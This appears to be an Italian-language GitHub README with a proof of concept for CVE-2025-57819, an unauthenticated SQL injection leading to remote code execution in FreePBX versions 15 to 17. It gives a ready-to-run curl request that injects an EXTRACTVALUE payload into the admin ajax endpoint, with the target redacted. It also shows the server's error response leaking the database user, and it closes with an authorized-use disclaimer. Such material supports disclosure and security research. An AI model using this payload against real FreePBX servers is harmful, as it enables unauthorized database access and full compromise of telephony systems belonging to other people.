muhammadwaseem29/sql-injection-and-rce_cve-2025-57819Le versioni 15, 16 e 17 di FreePBX contengono una vulnerabilità di Remote Code Execution (RCE) causata da una sanitizzazione insufficiente dei dati forniti dall'utente negli endpoint.
Le versioni 15, 16 e 17 di FreePBX contengono una vulnerabilità di esecuzione remota di codice (RCE) causata da una sanitizzazione insufficiente dei dati forniti dall'utente negli endpoint.
Un attaccante non autenticato può manipolare il database e ottenere l'esecuzione remota di codice. L'exploit non richiede alcuna autenticazione.
Nota: Il target è stato oscurato. Sostituisci
[REDACTED_TARGET]con l'host reale quando si effettuano test autorizzati.
curl -i -k "https://[REDACTED_TARGET]/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=x'+AND+EXTRACTVALUE(1,CONCAT('~USER:',(SELECT+USER()),'~'))+--+"
HTTP/1.1 500 Internal Server Error
Date: Fri, 12 Sep 2025 08:35:29 GMT
Server: Apache/2.4.6 (Sangoma) OpenSSL/1.0.1e-fips PHP/5.6.31
X-Powered-By: PHP/5.6.31
Set-Cookie: PHPSESSID=fmt7o0oecththmves36nijvfu7; expires=Sun, 12-Oct-2025 08:35:29 GMT; Max-Age=2592000; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: application/json
{"error":{"type":"Exception","message":"SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~USER:freepbxuser@localhost~'::","file":"\/var\/www\/html\/admin\/libraries\/utility.functions.php","line":207}}
Perché lo dimostra: la risposta contiene ~USER:freepbxuser@localhost~ — conferma l'iniezione SQL / la divulgazione di dati da una richiesta non autenticata.
Manipolazione remota non autenticata del database che porta all'esecuzione di codice arbitrario sul server — possibile compromissione totale del sistema.
Questo repository e la PoC sono forniti solo per scopi educativi e di ricerca sulla sicurezza autorizzata. Non testare o sfruttare sistemi senza un permesso esplicito. L'autore non è responsabile per usi impropri o danni derivanti da questa PoC.